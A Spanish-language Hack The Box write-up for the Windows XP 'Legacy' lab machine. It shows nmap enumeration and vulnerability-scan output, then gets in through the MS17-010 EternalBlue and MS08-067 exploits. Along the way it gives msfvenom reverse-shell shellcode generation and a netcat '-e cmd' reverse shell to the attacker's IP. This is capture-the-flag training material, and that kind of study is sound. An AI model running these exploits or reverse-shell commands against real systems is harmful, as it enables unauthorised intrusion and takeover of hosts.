Legacy es una de las box más sencillas de Hack The Box. A lo largo de este post encontrarás un writeup mostrando la forma de como rootearla.
Información
Enumeración
NMAP
Iniciamos con un escaneo de puertos, utilizando el método TCP SYN para agilizar el proceso.
nmap -p- -sS --min-rate 4000 -n -v -Pn 10.10.10.4 -oG allPorts.gnmap
1
2
3
4
5
6
7
8
9
10
Nmap scan report for 10.10.10.4
Host is up (0.15s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp closed ms-wbt-server
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.68 seconds
Nos reporta sólo dos puertos abiertos: 139,445. Con esta información, realizamos un escaner más detallado de los servicios y versiones bajo esos puertos.
nmap -sC -sV -p139,445 10.10.10.4 -oN openPorts.nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Nmap scan report for 10.10.10.4
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
Host script results:
|_clock-skew: mean: 5d00h41m11s, deviation: 2h07m16s, median: 4d23h11m11s
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:4d:63 (VMware)
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| OS CPE: cpe:/o:microsoft:windows_xp::-
| Computer name: legacy
| NetBIOS computer name: LEGACY\x00
| Workgroup: HTB\x00
|_ System time: 2021-10-31T01:25:22+03:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.20 seconds
Por último, se ejecutará un escaneo de estos puertos para identificar posibles vulnerabilidades asociadas.
nmap -p139,445 --script "vuln" 10.10.10.4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-25 17:40 -03
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 10.10.10.4
Host is up (0.14s latency).
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
Nmap done: 1 IP address (1 host up) scanned in 49.62 seconds
En base al output podemos identificar que la máquina es vulnerable a lo siguiente:
- MS17-010 (EternalBlue
- MS08-067
Ganando acceso
1. MS17-010 - EternalBlue
Llegados a este punto el ganar acceso es bastante trivial, se debe explotar la vulnerabilidad EternalBlue descubierta en el paso anterior. Para ello utilizaré el siguiente recurso de github - MS17-010.
git clone https://github.com/3ndG4me/AutoBlue-MS17-010
Con estos archivos, lo que haré será ejecutar el eternal_checker.py para verificar si existe algún named pipe disponible para la explotación.
python eternal_checker.py 10.10.10.4
Se encuentra el pipe browser
el cual utilizaremos para la explotación con zzz_exploit.py.
python zzz_exploit.py 10.10.10.4 -pipe browser
Y eso es todo, ya el exploit nos entrega una shell con privilegios de administración. Ahora basta con buscar los archivos .txt con las flags e introducirlas en la plataforma de HTB. Pero antes de esto, es recomendable migrar a otra shell utilizando netcat, ya que dependiendo del comando que se ejecute, la consola se puede colgar.
Para la migración de shell utilizaremos netcat a través de un recurso compartido en red en SMB. Para esto se utilizará smbserver de impacket.
impacket-smbserver Shared . -smb2support
Luego desde nuestra shell en la máquina víctima, basta con ejecutar netcat para crear una nueva conexión.
\\10.10.14.19\Shared\nc.exe -e cmd 10.10.14.19 443
Y paralelamente abrimos un canal de escucha para la reverse shell.
rlwrap nc -nlvp 443
Para buscar las flags podemos hacer uso de dir
.
dir /s /b C:\*root.txt
dir /s /b C:\*user.txt
2. MS08-067
Recordando la fase de enumeración, existía otra vulnerabilidad crítica en la máquina. Esta vulnerabilidad está documentada bajo el código MS08-067.
Googleando un poco, nos encontramos con un recurso de github que nos facilita un exploit que se aprovecha de un buffer overflow para entablar una reverse shell a la máquina.
Para comenzar nos clonaremos el reposorio.
git clone https://github.com/andyacer/ms08_067
Y entraremos al archivo ms08-067.py
donde se encuentran instrucciones para ejecutar correctamente el exploit.
Nos indican que se debe generar un shellcode a través de msfvenom y reemplazarlo dentro del script.
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.19 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
Luego de hacer el cambio, ejecutamos el exploit.
python2 ms08-067.py
Según el ejemplo, se debe ejecutar el script, junto con la IP de nuestro target, el n° de OS y el puerto destino. En nuestro caso utilizaremos la opción n°6 para Windows XP SP3 English con el puerto 445.
Como siempre, de manera paralela lanzamos un netcat para recibir la conexión de nuestra shell.
Con esto concluye esta máquina de HackTheBox, ya que contaríamos con privilegios de administración y podemos proceder a buscar las flags de la misma forma que en el método anterior.